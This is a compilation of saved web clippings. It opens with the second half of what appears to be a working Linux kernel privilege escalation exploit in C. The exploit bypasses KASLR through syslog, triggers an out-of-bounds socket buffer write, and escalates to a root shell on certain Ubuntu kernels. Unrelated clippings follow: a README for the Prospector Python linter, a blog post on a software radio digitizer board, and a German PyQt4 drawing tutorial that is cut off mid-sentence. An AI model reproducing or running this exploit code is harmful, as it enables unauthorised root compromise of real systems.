295 |  fprintf\(stderr, "\[-\] substring '%s' not found in syslog\n", needle1\);  
296 |  exit\(EXIT\_FAILURE\);  
297 |  \}  
298 |   
299 |  int start = 0;  
300 |  int end = 0;  
301 |  for \(start = 0; substr\[start\] \!= '-'; start++\);  
302 |  for \(end = start; substr\[end\] \!= '\n'; end++\);  
303 |   
304 |  const char\* needle2 = "ffffff";  
305 |  substr = \(char\*\)memmem\(&substr\[start\], end - start, needle2, strlen\(needle2\)\);  
306 |  if \(substr == NULL\) \{  
307 |  fprintf\(stderr, "\[-\] substring '%s' not found in syslog\n", needle2\);  
308 |  exit\(EXIT\_FAILURE\);  
309 |  \}  
310 |   
311 |  char\* endptr = &substr\[16\];  
312 |  unsigned long r = strtoul\(&substr\[0\], &endptr, 16\);  
313 |   
314 |  r &= 0xfffffffffff00000ul;  
315 |  r -= 0x1000000ul;  
316 |   
317 |  return r;  
318 | \}  
319 |   
320 | unsigned long get\_kernel\_addr\(\) \{  
321 |  char\* syslog;  
322 |  int size;  
323 |  mmap\_syslog\(&syslog, &size\);  
324 |   
325 |  if \(strcmp\("trusty", kernels\[kernel\].distro\) == 0 &&  
326 |  strncmp\("4.4.0", kernels\[kernel\].version, 5\) == 0\)  
327 |  return get\_kernel\_addr\_trusty\(syslog, size\);  
328 |  if \(strcmp\("xenial", kernels\[kernel\].distro\) == 0 &&  
329 |  strncmp\("4.8.0", kernels\[kernel\].version, 5\) == 0\)  
330 |  return get\_kernel\_addr\_xenial\(syslog, size\);  
331 |   
332 |  printf\("\[-\] KASLR bypass only tested on trusty 4.4.0-\* and xenial 4-8-0-\*"\);  
333 |  exit\(EXIT\_FAILURE\);  
334 | \}  
335 |   
336 | // \* \* \* \* \* \* \* \* \* \* \* \* \* \* Kernel structs \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \*  
337 |   
338 | struct ubuf\_info \{  
339 |  uint64\_t callback; // void \(\*callback\)\(struct ubuf\_info \*, bool\)  
340 |  uint64\_t ctx; // void \*  
341 |  uint64\_t desc; // unsigned long  
342 | \};  
343 |   
344 | struct skb\_shared\_info \{  
345 |  uint8\_t nr\_frags; // unsigned char  
346 |  uint8\_t tx\_flags; // \_\_u8  
347 |  uint16\_t gso\_size; // unsigned short  
348 |  uint16\_t gso\_segs; // unsigned short  
349 |  uint16\_t gso\_type; // unsigned short  
350 |  uint64\_t frag\_list; // struct sk\_buff \*  
351 |  uint64\_t hwtstamps; // struct skb\_shared\_hwtstamps  
352 |  uint32\_t tskey; // u32  
353 |  uint32\_t ip6\_frag\_id; // \_\_be32  
354 |  uint32\_t dataref; // atomic\_t  
355 |  uint64\_t destructor\_arg; // void \*  
356 |  uint8\_t frags\[16\]\[17\]; // skb\_frag\_t frags\[MAX\_SKB\_FRAGS\];  
357 | \};  
358 |   
359 | struct ubuf\_info ui;  
360 |   
361 | void init\_skb\_buffer\(char\* buffer, unsigned long func\) \{  
362 |  struct skb\_shared\_info\* ssi = \(struct skb\_shared\_info\*\)buffer;  
363 |  memset\(ssi, 0, sizeof\(\*ssi\)\);  
364 |   
365 |  ssi->tx\_flags = 0xff;  
366 |  ssi->destructor\_arg = \(uint64\_t\)&ui;  
367 |  ssi->nr\_frags = 0;  
368 |  ssi->frag\_list = 0;  
369 |   
370 |  ui.callback = func;  
371 | \}  
372 |   
373 | // \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* Trigger \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \*  
374 |   
375 | \#define SHINFO\_OFFSET 3164  
376 |   
377 | void oob\_execute\(unsigned long payload\) \{  
378 |  char buffer\[4096\];  
379 |  memset\(&buffer\[0\], 0x42, 4096\);  
380 |  init\_skb\_buffer\(&buffer\[SHINFO\_OFFSET\], payload\);  
381 |   
382 |  int s = socket\(PF\_INET, SOCK\_DGRAM, 0\);  
383 |  if \(s == -1\) \{  
384 |  perror\("\[-\] socket\(\)"\);  
385 |  exit\(EXIT\_FAILURE\);  
386 |  \}  
387 |   
388 |  struct sockaddr\_in addr;  
389 |  memset\(&addr, 0, sizeof\(addr\)\);  
390 |  addr.sin\_family = AF\_INET;  
391 |  addr.sin\_port = htons\(8000\);  
392 |  addr.sin\_addr.s\_addr = htonl\(INADDR\_LOOPBACK\);  
393 |   
394 |  if \(connect\(s, \(void\*\)&addr, sizeof\(addr\)\)\) \{  
395 |  perror\("\[-\] connect\(\)"\);  
396 |  exit\(EXIT\_FAILURE\);  
397 |  \}  
398 |   
399 |  int size = SHINFO\_OFFSET + sizeof\(struct skb\_shared\_info\);  
400 |  int rv = send\(s, buffer, size, MSG\_MORE\);  
401 |  if \(rv \!= size\) \{  
402 |  perror\("\[-\] send\(\)"\);  
403 |  exit\(EXIT\_FAILURE\);  
404 |  \}  
405 |   
406 |  int val = 1;  
407 |  rv = setsockopt\(s, SOL\_SOCKET, SO\_NO\_CHECK, &val, sizeof\(val\)\);  
408 |  if \(rv \!= 0\) \{  
409 |  perror\("\[-\] setsockopt\(SO\_NO\_CHECK\)"\);  
410 |  exit\(EXIT\_FAILURE\);  
411 |  \}  
412 |   
413 |  send\(s, buffer, 1, 0\);  
414 |   
415 |  close\(s\);  
416 | \}  
417 |   
418 | // \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* Detect \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \*  
419 |   
420 | \#define CHUNK\_SIZE 1024  
421 |   
422 | int read\_file\(const char\* file, char\* buffer, int max\_length\) \{  
423 |  int f = open\(file, O\_RDONLY\);  
424 |  if \(f == -1\)  
425 |  return -1;  
426 |  int bytes\_read = 0;  
427 |  while \(true\) \{  
428 |  int bytes\_to\_read = CHUNK\_SIZE;  
429 |  if \(bytes\_to\_read > max\_length - bytes\_read\)  
430 |  bytes\_to\_read = max\_length - bytes\_read;  
431 |  int rv = read\(f, &buffer\[bytes\_read\], bytes\_to\_read\);  
432 |  if \(rv == -1\)  
433 |  return -1;  
434 |  bytes\_read += rv;  
435 |  if \(rv == 0\)  
436 |  return bytes\_read;  
437 |  \}  
438 | \}  
439 |   
440 | \#define LSB\_RELEASE\_LENGTH 1024  
441 |   
442 | void get\_distro\_codename\(char\* output, int max\_length\) \{  
443 |  char buffer\[LSB\_RELEASE\_LENGTH\];  
444 |  int length = read\_file\("/etc/lsb-release", &buffer\[0\], LSB\_RELEASE\_LENGTH\);  
445 |  if \(length == -1\) \{  
446 |  perror\("\[-\] open/read\(/etc/lsb-release\)"\);  
447 |  exit\(EXIT\_FAILURE\);  
448 |  \}  
449 |  const char \*needle = "DISTRIB\_CODENAME=";  
450 |  int needle\_length = strlen\(needle\);  
451 |  char\* found = memmem\(&buffer\[0\], length, needle, needle\_length\);  
452 |  if \(found == NULL\) \{  
453 |  printf\("\[-\] couldn't find DISTRIB\_CODENAME in /etc/lsb-release\n"\);  
454 |  exit\(EXIT\_FAILURE\);  
455 |  \}  
456 |  int i;  
457 |  for \(i = 0; found\[needle\_length + i\] \!= '\n'; i++\) \{  
458 |  assert\(i < max\_length\);  
459 |  assert\(\(found - &buffer\[0\]\) + needle\_length + i < length\);  
460 |  output\[i\] = found\[needle\_length + i\];  
461 |  \}  
462 | \}  
463 |   
464 | void get\_kernel\_version\(char\* output, int max\_length\) \{  
465 |  struct utsname u;  
466 |  int rv = uname\(&u\);  
467 |  if \(rv \!= 0\) \{  
468 |  perror\("\[-\] uname\(\)\)"\);  
469 |  exit\(EXIT\_FAILURE\);  
470 |  \}  
471 |  assert\(strlen\(u.release\) <= max\_length\);  
472 |  strcpy\(&output\[0\], u.release\);  
473 | \}  
474 |   
475 | \#define ARRAY\_SIZE\(x\) \(sizeof\(x\) / sizeof\(\(x\)\[0\]\)\)  
476 |   
477 | \#define DISTRO\_CODENAME\_LENGTH 32  
478 | \#define KERNEL\_VERSION\_LENGTH 32  
479 |   
480 | void detect\_versions\(\) \{  
481 |  char codename\[DISTRO\_CODENAME\_LENGTH\];  
482 |  char version\[KERNEL\_VERSION\_LENGTH\];  
483 |   
484 |  get\_distro\_codename\(&codename\[0\], DISTRO\_CODENAME\_LENGTH\);  
485 |  get\_kernel\_version\(&version\[0\], KERNEL\_VERSION\_LENGTH\);  
486 |   
487 |  int i;  
488 |  for \(i = 0; i < ARRAY\_SIZE\(kernels\); i++\) \{  
489 |  if \(strcmp\(&codename\[0\], kernels\[i\].distro\) == 0 &&  
490 |  strcmp\(&version\[0\], kernels\[i\].version\) == 0\) \{  
491 |  printf\("\[.\] kernel version '%s' detected\n", kernels\[i\].version\);  
492 |  kernel = i;  
493 |  return;  
494 |  \}  
495 |  \}  
496 |   
497 |  printf\("\[-\] kernel version not recognized\n"\);  
498 |  exit\(EXIT\_FAILURE\);  
499 | \}  
500 |   
501 | \#define PROC\_CPUINFO\_LENGTH 4096  
502 |   
503 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP  
504 | int smap\_smep\_enabled\(\) \{  
505 |  char buffer\[PROC\_CPUINFO\_LENGTH\];  
506 |  int length = read\_file\("/proc/cpuinfo", &buffer\[0\], PROC\_CPUINFO\_LENGTH\);  
507 |  if \(length == -1\) \{  
508 |  perror\("\[-\] open/read\(/proc/cpuinfo\)"\);  
509 |  exit\(EXIT\_FAILURE\);  
510 |  \}  
511 |  int rv = 0;  
512 |  char\* found = memmem\(&buffer\[0\], length, "smep", 4\);  
513 |  if \(found \!= NULL\)  
514 |  rv += 1;  
515 |  found = memmem\(&buffer\[0\], length, "smap", 4\);  
516 |  if \(found \!= NULL\)  
517 |  rv += 2;  
518 |  return rv;  
519 | \}  
520 |   
521 | void check\_smep\_smap\(\) \{  
522 |  int rv = smap\_smep\_enabled\(\);  
523 |  if \(rv >= 2\) \{  
524 |  printf\("\[-\] SMAP detected, no bypass available\n"\);  
525 |  exit\(EXIT\_FAILURE\);  
526 |  \}  
527 | \#if \!ENABLE\_SMEP\_BYPASS  
528 |  if \(rv >= 1\) \{  
529 |  printf\("\[-\] SMEP detected, use ENABLE\_SMEP\_BYPASS\n"\);  
530 |  exit\(EXIT\_FAILURE\);  
531 |  \}  
532 | \#endif  
533 | \}  
534 |   
535 | // \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* Main \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \*  
536 |   
537 | static bool write\_file\(const char\* file, const char\* what, ...\) \{  
538 |  char buf\[1024\];  
539 |  va\_list args;  
540 |  va\_start\(args, what\);  
541 |  vsnprintf\(buf, sizeof\(buf\), what, args\);  
542 |  va\_end\(args\);  
543 |  buf\[sizeof\(buf\) - 1\] = 0;  
544 |  int len = strlen\(buf\);  
545 |   
546 |  int fd = open\(file, O\_WRONLY | O\_CLOEXEC\);  
547 |  if \(fd == -1\)  
548 |  return false;  
549 |  if \(write\(fd, buf, len\) \!= len\) \{  
550 |  close\(fd\);  
551 |  return false;  
552 |  \}  
553 |  close\(fd\);  
554 |  return true;  
555 | \}  
556 |   
557 | void setup\_sandbox\(\) \{  
558 |  int real\_uid = getuid\(\);  
559 |  int real\_gid = getgid\(\);  
560 |   
561 |  if \(unshare\(CLONE\_NEWUSER\) \!= 0\) \{  
562 |  printf\("\[\!\] unprivileged user namespaces are not available\n"\);  
563 |  perror\("\[-\] unshare\(CLONE\_NEWUSER\)"\);  
564 |  exit\(EXIT\_FAILURE\);  
565 |  \}  
566 |  if \(unshare\(CLONE\_NEWNET\) \!= 0\) \{  
567 |  perror\("\[-\] unshare\(CLONE\_NEWUSER\)"\);  
568 |  exit\(EXIT\_FAILURE\);  
569 |  \}  
570 |   
571 |  if \(\!write\_file\("/proc/self/setgroups", "deny"\)\) \{  
572 |  perror\("\[-\] write\_file\(/proc/self/set\_groups\)"\);  
573 |  exit\(EXIT\_FAILURE\);  
574 |  \}  
575 |  if \(\!write\_file\("/proc/self/uid\_map", "0 %d 1\n", real\_uid\)\) \{  
576 |  perror\("\[-\] write\_file\(/proc/self/uid\_map\)"\);  
577 |  exit\(EXIT\_FAILURE\);  
578 |  \}  
579 |  if \(\!write\_file\("/proc/self/gid\_map", "0 %d 1\n", real\_gid\)\) \{  
580 |  perror\("\[-\] write\_file\(/proc/self/gid\_map\)"\);  
581 |  exit\(EXIT\_FAILURE\);  
582 |  \}  
583 |   
584 |  cpu\_set\_t my\_set;  
585 |  CPU\_ZERO\(&my\_set\);  
586 |  CPU\_SET\(0, &my\_set\);  
587 |  if \(sched\_setaffinity\(0, sizeof\(my\_set\), &my\_set\) \!= 0\) \{  
588 |  perror\("\[-\] sched\_setaffinity\(\)"\);  
589 |  exit\(EXIT\_FAILURE\);  
590 |  \}  
591 |   
592 |  if \(system\("/sbin/ifconfig lo mtu 1500"\) \!= 0\) \{  
593 |  perror\("\[-\] system\(/sbin/ifconfig lo mtu 1500\)"\);  
594 |  exit\(EXIT\_FAILURE\);  
595 |  \}  
596 |  if \(system\("/sbin/ifconfig lo up"\) \!= 0\) \{  
597 |  perror\("\[-\] system\(/sbin/ifconfig lo up\)"\);  
598 |  exit\(EXIT\_FAILURE\);  
599 |  \}  
600 | \}  
601 |   
602 | void exec\_shell\(\) \{  
603 |  char\* shell = "/bin/bash";  
604 |  char\* args\[\] = \{shell, "-i", NULL\};  
605 |  execve\(shell, args, NULL\);  
606 | \}  
607 |   
608 | bool is\_root\(\) \{  
609 |  // We can't simple check uid, since we're running inside a namespace  
610 |  // with uid set to 0. Try opening /etc/shadow instead.  
611 |  int fd = open\("/etc/shadow", O\_RDONLY\);  
612 |  if \(fd == -1\)  
613 |  return false;  
614 |  close\(fd\);  
615 |  return true;  
616 | \}  
617 |   
618 | void check\_root\(\) \{  
619 |  printf\("\[.\] checking if we got root\n"\);  
620 |  if \(\!is\_root\(\)\) \{  
621 |  printf\("\[-\] something went wrong =\(\n"\);  
622 |  return;  
623 |  \}  
624 |  printf\("\[+\] got r00t ^\_^\n"\);  
625 |  exec\_shell\(\);  
626 | \}  
627 |   
628 | int main\(int argc, char\*\* argv\) \{  
629 |  printf\("\[.\] starting\n"\);  
630 |   
631 |  printf\("\[.\] checking distro and kernel versions\n"\);  
632 |  detect\_versions\(\);  
633 |  printf\("\[~\] done, versions looks good\n"\);  
634 |   
635 |  printf\("\[.\] checking SMEP and SMAP\n"\);  
636 |  check\_smep\_smap\(\);  
637 |  printf\("\[~\] done, looks good\n"\);  
638 |   
639 |  printf\("\[.\] setting up namespace sandbox\n"\);  
640 |  setup\_sandbox\(\);  
641 |  printf\("\[~\] done, namespace sandbox set up\n"\);  
642 |   
643 | \#if ENABLE\_KASLR\_BYPASS  
644 |  printf\("\[.\] KASLR bypass enabled, getting kernel addr\n"\);  
645 |  KERNEL\_BASE = get\_kernel\_addr\(\);  
646 |  printf\("\[~\] done, kernel text: %lx\n", KERNEL\_BASE\);  
647 | \#endif  
648 |   
649 |  printf\("\[.\] commit\_creds: %lx\n", COMMIT\_CREDS\);  
650 |  printf\("\[.\] prepare\_kernel\_cred: %lx\n", PREPARE\_KERNEL\_CRED\);  
651 |   
652 |  unsigned long payload = \(unsigned long\)&get\_root;  
653 |   
654 | \#if ENABLE\_SMEP\_BYPASS  
655 |  printf\("\[.\] SMEP bypass enabled, mmapping fake stack\n"\);  
656 |  mmap\_stack\(\);  
657 |  payload = XCHG\_EAX\_ESP\_RET;  
658 |  printf\("\[~\] done, fake stack mmapped\n"\);  
659 | \#endif  
660 |   
661 |  printf\("\[.\] executing payload %lx\n", payload\);  
662 |  oob\_execute\(payload\);  
663 |  printf\("\[~\] done, should be root now\n"\);  
664 |   
665 |  check\_root\(\);  
666 |   
667 |  return 0;  
668 | \}  
  

# landscapeio/prospector

**Created:**| _3/7/2018 8:36:21 AM_  
---|---  
**Updated:**| _3/7/2018 8:36:21 AM_  
**Author:**| _wishi_  
**Tags:**| _python analysis static_  
  

  

# prospector

## About

Prospector is a tool to analyse Python code and output information about
errors, potential problems, convention violations and complexity.

It brings together the functionality of other Python analysis tools such as
Pylint, pep8, and McCabe complexity. See the Supported Tools documentation
section for a complete list.

The primary aim of Prospector is to be useful 'out of the box'. A common
complaint of other Python analysis tools is that it takes a long time to
filter through which errors are relevant or interesting to your own coding
style. Prospector provides some default profiles, which hopefully will provide
a good starting point and will be useful straight away, and adapts the output
depending on the libraries your project uses.

## Installation

Prospector can be installed using `pip` by running the following command:

[code]

    pip install prospector
    
[/code]

Optional dependencies for Prospector, such as `pyroma` can also be installed
by running:

[code]

    pip install prospector[with_pyroma]
    
[/code]

For a list of all of the optional dependencies, see the optional extras
section on the ReadTheDocs page on supported tools.

For more detailed information on installing the tool, see the installation
section of the tool's main page on ReadTheDocs.

## Documentation

Full documentation is available at ReadTheDocs.

## Usage

Simply run prospector from the root of your project:

[code]

    prospector
    
[/code]

This will output a list of messages pointing out potential problems or errors,
for example:

[code]

    prospector.tools.base (prospector/tools/base.py):
        L5:0 ToolBase: pylint - R0922
        Abstract class is only referenced 1 times
    
[/code]

### Options

Run `prospector --help` for a full list of options and their effects.

#### Output Format

The default output format of `prospector` is designed to be human readable.
For parsing \(for example, for reporting\), you can use the `--output-format
json` flag to get JSON-formatted output.

#### Profiles

Prospector is configurable using "profiles". These are composable YAML files
with directives to disable or enable tools or messages. For more information,
read the documentation about profiles.

#### If your code uses frameworks and libraries

Often tools such as pylint find errors in code which is not an error, for
example due to attributes of classes being created at run time by a library or
framework used by your project. For example, by default, pylint will generate
an error for Django models when accessing `objects`, as the `objects`
attribute is not part of the `Model` class definition.

Prospector mitigates this by providing an understanding of these frameworks to
the underlying tools.

Prospector will try to intuit which libraries your project uses by detecting
dependencies and automatically turning on support for the requisite libraries.
You can see which adaptors were run in the metadata section of the report.

If Prospector does not correctly detect your project's dependencies, you can
specify them manually from the commandline:

[code]

    prospector --uses django celery
    
[/code]

Additionally, if Prospector is automatically detecting a library that you do
not in fact use, you can turn off autodetection completely:

[code]

    prospector --no-autodetect
    
[/code]

Note that as far as possible, these adaptors have been written as plugins or
augmentations for the underlying tools so that they can be used without
requiring Prospector. For example, the Django support is available as a pylint
plugin.

#### Strictness

Prospector has a configurable 'strictness' level which will determine how
harshly it searches for errors:

[code]

    prospector --strictness high
    
[/code]

Possible values are `verylow`, `low`, `medium`, `high`, `veryhigh`.

Prospector does not include documentation warnings by default, but you can
turn this on using the `--doc-warnings` flag.

## License

Prospector is available under the GPLv2 License.

  

# Software Radio Baseband Digitizer PCB | ShareBrained Technology
**Created:**| _5/20/2012 4:18:30 PM_  
---|---  
**Updated:**| _5/20/2012 4:18:30 PM_  
**Author:**| __  
**Tags:**| _Gnuradio software defined radio_  
  

# Software Radio Baseband Digitizer PCB

November 7, 2011 by jboone

I’m plugging away at building an inexpensive, high-bandwidth software-defined
radio receiver. I built a bunch of PLL+VCO boards, filter boards, and
quadrature mixer boards. But I still don’t have a good ADC to sample the
signals I’m receiving. No longer\! I just submitted a four-layer design to
Laen’s Dorkbot PDX PCB Order, which should give me 10 MHz of bandwidth:

<img src='img/Temp2_7617.png' width='560' height='268' />

A quick overview of the board’s design:

  * SMA connectors for the baseband quadrature input signal. There are two differential inputs, so four connectors total.
  * Two-channel high-speed ADC from Linear Technologies. I designed with the 16-bit, 125MHz LT2185 in mind, but Linear offers many pin-compatible devices that are cheaper, with the attendant trade-offs in sample rate and resolution.
  * Sampling oscillator in a standard 7mm x 5mm footprint. I’m planning to use a low phase noise oscillator like the Connor-Winfield CWX813.
  * Lattice XP2-5 FPGA for sample rate conversion.
  * FTDI FT2232H high-speed USB interface.
  * Configuration and FT2232H pin breakout so I can experiment with USB-based FPGA code updating.
  * JTAG interface for initial development.
  * Power input — approximately 3.7V minimum.

USB 2.0 high-speed performance is a bottleneck for software radio. On a good
day, you can get 35 MBytes/second. Assuming 12-bit quadrature signals, that
gives you a complex sampling rate of about 12 MSamples/second, and a
theoretical bandwidth of 12 MHz. Usable bandwidth will be more like 10 MHz.

Because of this USB-imposed bandwidth limitation, I chose to use a faster ADC
to oversample the input and simplify the analog filtering going into the ADC.
I’m expecting to oversample the baseband signal by 4x to 8x. With that amount
of oversampling, simple four-pole Butterworth or Bessel filters should be
plenty. The FPGA will do sample rate conversion, using CIC or FIR filters.

There’s almost no filtering on the ADC input. I’m planning to attach a
separate baseband filter or use an RF band-selection filter to severely band-
limit my target signals and avoid unsightly aliasing. Here’s one approach for
an 80 MHz sampling rate and a 10 or 12 MHz output rate:

<img src='img/Temp2_7618.png' width='560' height='433' />

The great thing about oversampling is you don’t have to design your analog
filter for the final sample rate’s Nyquist frequency. Instead, you can push
that stop-frequency up to the sampling rate minus the final bandwidth. In the
example above, it’s 80 MHz minus 6 MHz, or 74 MHz. So my filter can gracefully
tail off across more than a decade of frequency \(74:6 = 12.3x\). Of course,
with oversampling, I’ve made a lot more work for myself in the digital domain.
But FPGA CIC and FIR filter implementations are plentiful and well-understood,
so I’m not too worried…

The board should be back from Laen in a couple of weeks. I can’t wait to
solder it up and see what happens\!

# Zeichnen mit PyQt4

**Created:**| _1/13/2010 1:39:25 PM_  
---|---  
**Updated:**| _1/13/2010 1:39:39 PM_  
**Author:**| __  
**Tags:**| _bookmark python programming_  
  

Home Contents

# Zeichnen mit PyQt4

Zeichnen wird für die Veränderung und Erweiterung eines bestehenden Widgets
oder bei der Erstellung eines bedarsangepassten, vollständig neu erzeugten
Widgets verwendet. Zum Zeichnen nutzen wir die Zeichen-API, das das
PyQt4-Toolkit mitbringt.

Das Zeichnen wird mittels der _paintEvent\(\)_ -Methode vollzogen. Der
Zeichnen-Code wird zwischen der _begin\(\)_ \- und _end\(\)_ -Methode des
_QPainter_ -Objekts platziert.

### Das Zeichnen von Text

Wir beginnen damit Unicode-Text in den Bereich des Fensters zu zeichnen.

[code]

    #!/usr/bin/python
    
    # drawtext.py
    
    import sys
    from PyQt4 import QtGui, QtCore
    
    
    class DrawText(QtGui.QWidget):
        def __init__(self, parent=None):
            QtGui.QWidget.__init__(self, parent)
    
            self.setGeometry(300, 300, 250, 150)
            self.setWindowTitle('Draw Text')
    
            self.text = u'\u041b\u0435\u0432 \u041d\u0438\u043a\u043e\u043b\u0430\
    \u0435\u0432\u0438\u0447 \u0422\u043e\u043b\u0441\u0442\u043e\u0439: \n\
    \u0410\u043d\u043d\u0430 \u041a\u0430\u0440\u0435\u043d\u0438\u043d\u0430'
    
    
    
        def paintEvent(self, event):
            paint = QtGui.QPainter()
            paint.begin(self)
            paint.setPen(QtGui.QColor(168, 34, 3))
            paint.setFont(QtGui.QFont('Decorative', 10))
            paint.drawText(event.rect(), QtCore.Qt.AlignCenter, self.text)
            paint.end()
    
    
    app = QtGui.QApplication(sys.argv)
    dt = DrawText()
    dt.show()
    app.exec_()
    
    
[/code]

In unserem Beispiel zeichnen wir etwas Text in Azbuka. Der Text wird senkrecht
und waagerecht ausgerichtet.

[code]

     def paintEvent(self, event):
    
    
[/code]

Das Zeichnen selbst wird mit dem _paintEvent\(\)_ vollzogen.

[code]

     paint = QtGui.QPainter()
     paint.begin(self)
     ...
     paint.end()
    
    
[/code]

Die _QPainter_ -Klasse ist für alles niedrigschwellige Malen verantwortlich.
Alle Malmethoden liegen zwischen _begin\(\)_ \- und _end\(\)_ -Methode.

[code]

     paint.setPen(QtGui.QColor(168, 34, 3))
     paint.setFont(QtGui.QFont('Decorative', 10))
    
    
[/code]

Hier definieren wir Stift und Schrifttyp, die wir zum Zeichen des Textes
verwenden.

[code]

     paint.drawText(event.rect(), QtCore.Qt.AlignCenter, self.text)
    
    
[/code]

Die _drawText\(\)_ -Methode zeichnet den Text in das Fenster.

<img src='img/Temp2_10004.jpg' alt='Text zeichnen' />

Abbildung: Das Zeichnen von Text

### Punkte zeichnen

Ein Punkt ist das einfachste grafische Objekt, das man zeichnen kann. Es ist
ein kleiner Punkt auf dem Fenster.

[code]

    #!/usr/bin/python
    
    # points.py
    
    import sys, random
    from PyQt4 import QtGui, QtCore
    
    
    class Points(QtGui.QWidget):
        def __init__(self, parent=None):
            QtGui.QWidget.__init__(self, parent)
    
            self.setGeometry(300, 300, 250, 150)
            self.setWindowTitle('Points')
    
        def paintEvent(self, event):
            paint = QtGui.QPainter()
            paint.begin(self)
            paint.setPen(QtCore.Qt.red)
            size = self.size()
            for i in range(1000):
                x = random.randint(1, size.width()-1)
                y = random.randint(1, size.height()-1)
                paint.drawPoint(x, y)
            paint.end()
    
    app = QtGui.QApplication(sys.argv)
    dt = Points()
    dt.show()
    app.exec_()
    
    
[/code]

In unserem Beispiel zeichnen wir 1000 zufällig auf der Fläche verteilte rote
Punkte.

[code]

     paint.setPen(QtCore.Qt.red)
    
    
[/code]

Wir belegen den Stift mit roter Farbe, in diesem Fall durch Verwendung einer
vordefinierten Farbkonstanten \(_Qt.red_\).

[code]

     size = self.size()
    
    
[/code]

Bei jeder Größenänderung am Fenster wird ein paint-Ereignis ausgelöst. Die
aktuelle Größe eines Fensters erfragen wir mit der _size\(\)_ -Methode.

[code]

     paint.drawPoint(x, y)
    
    
[/code]

Wir zeichnen den Punkt mit der _drawPoint\(\)_ -Methode.

<img src='img/Temp2_10007.jpg' alt='Punkte' />

Abbildung: Punkte

### Farben

Eine Farbe ist ein Objekt, das eine Kombination aus Rot-, Grün- und
Blauintensitätswerten repräsentiert. Zulässige RGB-Werte liegen zwischen 0 und
255. Wir können eine Farbe auf verschiedene Weisen definieren. Die
verbreitetsten sind RGB-Dezimalwerte oder -Hexadezimalwerte. Genauso lässt
sich ein RGBA-Wert eingesetzt werden, das steht für Rot, Grün, Blau und Alpha,
wodurch wir zusätzliche Information zur Transparenz hinzufügen können. Ein
Alphawert von 255 steht für volle Farbe, 0 steht für vollständige Transparenz,
d.h. die Farbe ist nicht sichtbar.

[code]

    #!/usr/bin/python
    
    # colors.py
    
    import sys, random
    from PyQt4 import QtGui, QtCore
    
    
    class Colors(QtGui.QWidget):
        def __init__(self, parent=None):
            QtGui.QWidget.__init__(self, parent)
    
            self.setGeometry(300, 300, 350, 280)
            self.setWindowTitle('Colors')
    
        def paintEvent(self, event):
            paint = QtGui.QPainter()
            paint.begin(self)
    
            color = QtGui.QColor(0, 0, 0)
            color.setNamedColor('#d4d4d4')
            paint.setPen(color)
    
            paint.setBrush(QtGui.QColor(255, 0, 0, 80))
            paint.drawRect(10, 15, 90, 60)
    
            paint.setBrush(QtGui.QColor(255, 0, 0, 160))
            paint.drawRect(130, 15, 90, 60)
    
            paint.setBrush(QtGui.QColor(255, 0, 0, 255))
            paint.drawRect(250, 15, 90, 60)
    
            paint.setBrush(QtGui.QColor(10, 163, 2, 55))
            paint.drawRect(10, 105, 90, 60)
    
            paint.setBrush(QtGui.QColor(160, 100, 0, 255))
            paint.drawRect(130, 105, 90, 60)
    
            paint.setBrush(QtGui.QColor(60, 100, 60, 255))
            paint.drawRect(250, 105, 90, 60)
    
            paint.setBrush(QtGui.QColor(50, 50, 50, 255))
            paint.drawRect(10, 195, 90, 60)
    
            paint.setBrush(QtGui.QColor(50, 150, 50, 255))
            paint.drawRect(130, 195, 90, 60)
    
            paint.setBrush(QtGui.QColor(223, 135, 19, 255))
            paint.drawRect(250, 195, 90, 60)
    
            paint.end()
    
    app = QtGui.QApplication(sys.argv)
    dt = Colors()
    dt.show()
    app.exec_()
    
    
[/code]

In unserem Beispiel zeichnen wir 9 farbige Rechtecke. Die erste Reihe zeigt
rote Farbe in unterschiedlichen Alphaabstufungen.

[code]

     color = QtGui.QColor(0, 0, 0)
     color.setNamedColor('#d4d4d4')
    
    
[/code]

Hier definieren wir eine Farbe in Hexadezimal-Schreibweise.

[code]

     paint.setBrush(QtGui.QColor(255, 0, 0, 80));
     paint.drawRect(10, 15, 90, 60)
    
    
[/code]

Hier definieren wir einen Pinsel und zeichnen ein Rechteck. Ein _Pinsel_ ist
ein elementares Grafikobjekt, um den Hintergrund einer Figur zu zeichnen. Die
_drawRect\(\)_ -Methode empfängt vier Parameter. Die ersten zwei sind x- und
y-Werte. Der dritte und vierte Parameter sind Breite und Höhe des Rechtecks.
Die Methode zeichnet ein Rechteck unter Verwendung des eingestellten Stifts
und des eingestellten Pinsels.

<img src='img/Temp2_10005.jpg' alt='Farben' />

Abbildung: Farben

### QPen

_QPen_ ist ein grundlegendes Grafikobjekt. Es wird zum Zeichnen von Linien,
Kurven und Umrandungen eines Rechtecks, Ellipsen, Polygonen oder anderen
Formen verwendet.

[code]

    #!/usr/bin/python
    
    # penstyles.py
    
    import sys
    from PyQt4 import QtGui, QtCore
    
    
    class PenStyles(QtGui.QWidget):
        def __init__(self, parent=None):
            QtGui.QWidget.__init__(self, parent)
    
            self.setGeometry(300, 300, 280, 270)
            self.setWindowTitle('penstyles')
    
        def paintEvent(self, event):
            paint = QtGui.QPainter()
    
            paint.begin(self)
    
            pen = QtGui.QPen(QtCore.Qt.black, 2, QtCore.Qt.SolidLine)
    
            paint.setPen(pen)
            paint.drawLine(20, 40, 250, 40)
    
            pen.setStyle(QtCore.Qt.DashLine)
            paint.setPen(pen)
            paint.drawLine(20, 80, 250, 80)
    
            pen.setStyle(QtCore.Qt.DashDotLine)
            paint.setPen(pen)
            paint.drawLine(20, 120, 250, 120)
    
            pen.setStyle(QtCore.Qt.DotLine)
            paint.setPen(pen)
            paint.drawLine(20, 160, 250, 160)
    
            pen.setStyle(QtCore.Qt.DashDotDotLine)
            paint.setPen(pen)
            paint.drawLine(20, 200, 250, 200)
    
            pen.setStyle(QtCore.Qt.CustomDashLine)
            pen.setDashPattern([1, 4, 5, 4])
            paint.setPen(pen)
            paint.drawLine(20, 240, 250, 240)
    
            paint.end()
    
    app = QtGui.QApplication(sys.argv)
    dt = PenStyles()
    dt.show()
    app.exec_()
    
    
[/code]

In unserem Beispiel zeichnen wir sechs Linien. Die Linien werden in sechs
